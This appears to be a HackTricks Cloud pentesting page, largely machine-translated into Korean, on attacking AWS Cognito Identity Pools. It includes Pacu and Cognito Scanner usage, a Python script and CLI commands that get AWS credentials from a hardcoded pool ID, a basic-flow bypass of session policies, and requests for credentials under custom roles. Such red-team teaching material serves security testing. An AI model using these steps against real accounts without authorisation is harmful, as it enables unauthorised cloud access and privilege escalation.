Cognito Identity Pools

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

아이덴티티 풀은 사용자가 임시 자격 증명을 획득할 수 있도록 하여 중요한 역할을 합니다. 이러한 자격 증명은 Amazon S3 및 DynamoDB를 포함한 다양한 AWS 서비스에 접근하는 데 필수적입니다. 아이덴티티 풀의 주목할 만한 기능은 익명 게스트 사용자와 사용자 인증을 위한 다양한 아이덴티티 제공자를 지원한다는 점입니다. 지원되는 아이덴티티 제공자는 다음과 같습니다:

Amazon Cognito 사용자 풀
Facebook, Google, Amazon으로 로그인, Apple로 로그인과 같은 소셜 로그인 옵션
OpenID Connect (OIDC) 호환 제공자
SAML (Security Assertion Markup Language) 아이덴티티 제공자
개발자 인증 아이덴티티

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Identity Pool 세션을 생성하려면 먼저 Identity ID를 생성해야 합니다. 이 Identity ID는 해당 사용자의 세션 식별자입니다. 이러한 식별자는 최대 20개의 데이터 세트를 가질 수 있으며, 각 데이터 세트는 최대 1MB의 키-값 쌍을 저장할 수 있습니다.

이는 사용자의 정보를 유지하는 데 유용합니다 (항상 동일한 Identity ID를 사용하는 사용자).

게다가, 서비스 cognito-sync는 이 정보를 관리하고 동기화할 수 있는 서비스입니다 (데이터 세트에서, 스트림 및 SNS 메시지로 정보를 전송하는 등).

Tools for pentesting

Pacu, AWS 취약점 탐지 프레임워크는 이제 "cognito__enum" 및 "cognito__attack" 모듈을 포함하여 계정의 모든 Cognito 자산을 자동으로 열거하고 약한 구성, 접근 제어에 사용되는 사용자 속성 등을 플래그하며, 사용자 생성(여기에는 MFA 지원 포함) 및 수정 가능한 사용자 정의 속성, 사용 가능한 Identity Pool 자격 증명, ID 토큰에서 가정 가능한 역할 등을 기반으로 한 권한 상승을 자동화합니다.

모듈 기능에 대한 설명은 블로그 게시물 2부를 참조하십시오. 설치 지침은 주요 Pacu 페이지를 참조하십시오.

Usage

주어진 Identity Pool 및 사용자 풀 클라이언트에 대해 사용자 생성 및 모든 권한 상승 벡터를 시도하는 샘플 cognito__attack 사용법:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

샘플 cognito__enum 사용법으로 현재 AWS 계정에서 볼 수 있는 모든 사용자 풀, 사용자 풀 클라이언트, 아이덴티티 풀, 사용자 등을 수집합니다:

Pacu (new:test) > run cognito__enum

Cognito Scanner는 원치 않는 계정 생성 및 아이덴티티 풀 상승을 포함하여 Cognito에 대한 다양한 공격을 구현하는 파이썬 CLI 도구입니다.

설치

$ pip install cognito-scanner

사용법

$ cognito-scanner --help

For more information check https://github.com/padok-team/cognito-scanner

Accessing IAM Roles

Unauthenticated

공격자가 Cognito 앱에서 인증되지 않은 사용자로서 AWS 자격 증명을 얻기 위해 알아야 할 유일한 것은 Identity Pool ID이며, 이 **ID는 웹/모바일 application에 하드코딩되어 있어야 사용될 수 있습니다. ID는 다음과 같이 보입니다: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (무차별 대입 공격이 불가능합니다).

기본적으로 IAM Cognito 인증되지 않은 역할은 Cognito_<Identity Pool name>Unauth_Role로 호출됩니다.

하드코딩된 Identity Pools ID를 찾고 인증되지 않은 사용자를 허용하는 경우, 다음을 사용하여 AWS 자격 증명을 얻을 수 있습니다:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

또는 다음 aws cli 명령어를 사용할 수 있습니다:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

기본적으로 인증되지 않은 cognito 사용자는 정책을 통해 할당되었더라도 어떤 권한도 가질 수 없습니다. 다음 섹션을 확인하세요.

향상된 인증 흐름 vs 기본 인증 흐름

이전 섹션은 기본 향상된 인증 흐름을 따랐습니다. 이 흐름은 생성된 IAM 역할 세션에 제한적인 세션 정책을 설정합니다. 이 정책은 세션이 이 목록의 서비스만 사용할 수 있도록 허용합니다 (역할이 다른 서비스에 접근할 수 있었더라도).

그러나 Identity pool에 "기본 (클래식) 흐름"이 활성화되어 있으면, 사용자는 해당 흐름을 사용하여 제한적인 세션 정책이 없는 세션을 얻을 수 있습니다.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

이 오류가 발생하는 경우, 기본 흐름이 활성화되지 않았기 때문입니다 (기본값)

GetOpenIdToken 작업을 호출할 때 오류가 발생했습니다 (InvalidParameterException): 기본 (클래식) 흐름이 활성화되지 않았습니다. 향상된 흐름을 사용하십시오.

IAM 자격 증명이 있는 경우 어떤 접근 권한이 있는지 확인하고 권한 상승을 시도하십시오.

인증됨

인증된 사용자는 아마도 다른 권한이 부여될 것이므로, 앱 내에서 가입할 수 있다면 그렇게 시도하고 새로운 자격 증명을 얻으십시오.

Identity Pool에 접근하는 인증된 사용자를 위한 역할이 있을 수 있습니다.

이를 위해 아이덴티티 제공자에 접근해야 할 수 있습니다. 만약 그것이 Cognito 사용자 풀이라면, 기본 동작을 악용하여 새 사용자를 직접 생성할 수 있을지도 모릅니다.

IAM Cognito 인증 역할은 기본적으로 Cognito_<Identity Pool name>Auth_Role로 생성됩니다.

어쨌든, 다음 예제는 Identity Pool에 접근하기 위해 사용되는 Cognito 사용자 풀에 이미 로그인했다고 가정합니다 (다른 유형의 아이덴티티 제공자도 구성될 수 있다는 점을 잊지 마십시오).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# 이전 명령 응답에서 identity_id 가져오기
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# IdToken에서 사용자가 User Pool 그룹으로 접근할 수 있는 역할을 찾을 수 있습니다
# --custom-role-arn을 사용하여 특정 역할에 대한 자격 증명을 가져옵니다
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

사용자가 로그인하는 아이덴티티 제공자에 따라 다른 IAM 역할을 구성할 수 있습니다. 따라서 동일한 또는 다른 제공자를 통해 다양한 사용자에 접근할 수 있다면, 모든 사용자의 IAM 역할에 로그인하고 접근하는 것이 가치가 있을 수 있습니다.

HackTricks 지원하기

구독 계획 확인하기!
**💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.

PreviousAWS - Cognito Enum NextCognito User Pools

Last updated 3 days ago